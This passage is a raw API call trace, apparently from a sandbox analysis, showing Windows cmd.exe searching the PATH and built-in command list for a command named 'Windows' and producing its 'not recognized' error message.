GetLastError () returned 0x2 [0162.344] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.344] GetLastError () returned 0x2 [0162.344] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.344] GetLastError () returned 0x2 [0162.344] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.344] GetLastError () returned 0x2 [0162.344] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.345] GetLastError () returned 0x2 [0162.345] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.345] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.345] GetLastError () returned 0x2 [0162.345] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.345] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d270 [0162.345] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0162.345] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.346] GetLastError () returned 0x2 [0162.346] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.346] GetLastError () returned 0x2 [0162.346] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.346] GetLastError () returned 0x2 [0162.346] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.346] GetLastError () returned 0x2 [0162.346] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.346] GetLastError () returned 0x2 [0162.346] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.346] GetLastError () returned 0x2 [0162.346] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.347] GetLastError () returned 0x2 [0162.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.347] GetLastError () returned 0x2 [0162.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.347] GetLastError () returned 0x2 [0162.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.347] GetLastError () returned 0x2 [0162.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.347] GetLastError () returned 0x2 [0162.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.347] GetLastError () returned 0x2 [0162.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.348] GetLastError () returned 0x2 [0162.348] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.348] GetLastError () returned 0x2 [0162.348] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.348] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.348] GetLastError () returned 0x2 [0162.348] ??_V@YAXPEAX@Z () returned 0x1 [0162.348] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.349] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.349] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.349] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.349] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.349] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.349] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.349] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.349] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.349] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.349] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.349] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.349] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.349] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.349] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.349] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.350] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.350] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.350] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.350] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.350] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.350] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.350] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.350] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.350] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.350] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.350] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.350] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.350] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.350] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.350] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.350] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.350] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.350] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.350] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.350] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.350] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.350] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.350] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.350] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.350] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.350] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.350] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.350] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.350] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.350] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.350] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.350] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.350] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.350] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.350] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.350] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.351] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.351] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.351] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.351] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.351] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.351] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.351] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.351] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.351] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.351] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.351] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.351] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.351] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.351] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.351] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.351] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.351] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.351] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.351] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.351] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.351] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.351] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.351] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.351] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.351] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.351] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.351] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.351] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.351] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.351] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.351] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.351] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.351] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.351] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.351] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.351] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.351] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.352] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.352] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.352] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.352] ??_V@YAXPEAX@Z () returned 0x1 [0162.352] GetProcessHeap () returned 0x20b0f920000 [0162.352] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.352] GetProcessHeap () returned 0x20b0f920000 [0162.352] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f957cd0 [0162.352] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.352] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.352] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.353] GetProcessHeap () returned 0x20b0f920000 [0162.353] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.354] SetErrorMode (uMode=0x0) returned 0x0 [0162.354] SetErrorMode (uMode=0x1) returned 0x0 [0162.354] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.354] SetErrorMode (uMode=0x0) returned 0x1 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.354] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.354] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.354] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.354] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.354] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.354] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.354] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.354] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.354] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.354] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.354] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.354] GetProcessHeap () returned 0x20b0f920000 [0162.355] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.355] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.355] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0162.355] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0162.355] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.355] GetLastError () returned 0x2 [0162.355] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.355] GetLastError () returned 0x2 [0162.355] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.355] GetLastError () returned 0x2 [0162.355] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.356] GetLastError () returned 0x2 [0162.356] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.356] GetLastError () returned 0x2 [0162.356] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.356] GetLastError () returned 0x2 [0162.356] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.356] GetLastError () returned 0x2 [0162.356] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.356] GetLastError () returned 0x2 [0162.356] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.357] GetLastError () returned 0x2 [0162.357] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.357] GetLastError () returned 0x2 [0162.357] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.357] GetLastError () returned 0x2 [0162.357] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.357] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.357] GetLastError () returned 0x2 [0162.357] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.357] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d330 [0162.358] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0162.358] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.358] GetLastError () returned 0x2 [0162.358] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.358] GetLastError () returned 0x2 [0162.358] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.358] GetLastError () returned 0x2 [0162.358] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.358] GetLastError () returned 0x2 [0162.359] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.359] GetLastError () returned 0x2 [0162.359] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.359] GetLastError () returned 0x2 [0162.359] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.359] GetLastError () returned 0x2 [0162.359] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.359] GetLastError () returned 0x2 [0162.359] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.360] GetLastError () returned 0x2 [0162.360] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.360] GetLastError () returned 0x2 [0162.360] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.360] GetLastError () returned 0x2 [0162.360] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.361] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.361] GetLastError () returned 0x2 [0162.361] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.361] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.361] GetLastError () returned 0x2 [0162.361] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.362] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.362] GetLastError () returned 0x2 [0162.362] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.362] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.362] GetLastError () returned 0x2 [0162.362] ??_V@YAXPEAX@Z () returned 0x1 [0162.362] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.362] GetFileType (hFile=0x54) returned 0x2 [0162.362] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.362] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.363] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.363] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.363] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.363] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, 